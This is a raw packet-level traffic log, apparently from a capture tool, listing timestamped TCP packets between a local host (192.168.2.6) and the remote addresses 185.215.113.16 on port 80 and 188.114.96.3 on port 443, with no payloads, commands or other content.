Nov 1, 2024 00:38:55.491048098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.491067886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.491079092 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.491120100 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.491615057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.491651058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.491669893 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.491686106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.491693020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.491741896 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.567338943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.567403078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.567406893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.567445040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.567451954 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.567500114 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.567501068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.567539930 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.567549944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.567574978 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.567581892 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.567615032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568036079 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568088055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568125963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568156958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568169117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568192005 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568201065 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568226099 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568234921 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568265915 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568335056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568363905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568386078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568398952 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568540096 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568574905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568584919 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568608046 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.568620920 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.568648100 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.608866930 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.608901024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.608927011 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.608938932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.608952999 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.608994961 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609013081 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609045982 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609060049 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609090090 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609097004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609132051 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609143972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609174013 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609580994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609615088 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609636068 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609649897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609656096 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609694958 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.609945059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609978914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.609993935 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.610014915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.610025883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.610049963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.610060930 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.610085011 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.610093117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.610120058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.610131979 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.610166073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.684370041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.684412003 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.684429884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.684452057 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.684484959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.684519053 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.684530020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.684555054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.684561014 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.684590101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.684595108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.684637070 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685189009 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685218096 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685261011 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685266018 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685266018 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685305119 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685312033 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685344934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685357094 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685380936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685384035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685415030 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685431957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685450077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.685457945 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.685516119 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.725636959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.725687981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.725694895 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.725744009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.725744009 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.725780010 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.725780964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.725812912 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.725831032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.725855112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.725956917 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.725991964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726010084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726027012 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726042032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726068974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726270914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726315975 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726363897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726399899 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726413012 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726434946 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726442099 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726483107 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726766109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726807117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726819992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726852894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726871014 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726887941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726893902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726924896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.726936102 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.726973057 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.727468967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.727504015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.727514982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.727539062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.727546930 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.727580070 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801291943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801377058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801392078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801424980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801429033 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801465988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801476955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801507950 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801523924 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801562071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801573038 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801605940 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801608086 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801651001 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801729918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801781893 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801781893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801817894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.801826000 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.801877975 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.802081108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.802128077 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.802134991 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.802170038 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.802180052 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.802217960 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.802236080 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.802283049 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.842607021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842647076 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842683077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842699051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.842711926 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.842720985 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842735052 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.842768908 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.842817068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842863083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.842912912 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842947006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842964888 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.842983007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.842988968 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843033075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843204975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.843240023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.843254089 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843275070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.843282938 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843310118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.843327045 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843374968 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843607903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.843657970 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843662977 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.843698025 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.843705893 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843739033 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.843955994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844007015 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.844010115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844046116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844058990 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.844079971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844080925 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.844115973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844126940 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.844152927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844155073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.844192982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.844666004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844717979 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.844717979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.844767094 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.918076038 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918102980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918113947 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918132067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918147087 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.918175936 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.918232918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918272972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918273926 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.918313026 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.918401957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918421984 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918432951 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.918447018 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.918459892 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.918481112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.919020891 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.919032097 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.919043064 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.919053078 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.919066906 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.919095039 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959403992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959427118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959436893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959475994 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959512949 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959547997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959558010 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959592104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959605932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959635973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959673882 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959707022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959718943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959729910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.959747076 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959767103 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.959774971 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.960083008 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960094929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960110903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960123062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960131884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.960135937 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960160017 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.960170984 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.960583925 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960633993 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.960637093 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960652113 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960664988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960676908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960680008 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.960690022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.960700035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.960728884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.961206913 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.961221933 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.961258888 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.961296082 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.961308002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.961318016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.961340904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.961350918 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.991694927 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.991775990 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.992861986 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.992871046 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.993096113 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.994245052 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.994363070 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.994395971 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.994580984 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.994587898 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:56.035099983 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.035115957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.035128117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.035165071 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.035175085 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.035208941 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.035228968 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.035239935 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.035268068 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.035288095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.035331011 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.035347939 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.035397053 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.036009073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.036052942 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.036053896 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.036063910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.036098957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076307058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076329947 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076348066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076361895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076380968 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076401949 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076664925 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076683044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076694012 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076714993 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076721907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076733112 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076744080 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076746941 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076759100 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076770067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076776981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076781034 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.076793909 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.076823950 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.077419996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077430964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077441931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077467918 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.077493906 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.077714920 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077727079 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077737093 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077749014 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077759981 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077764988 CET	49948	80	192.168.2.6	185.215.113.16
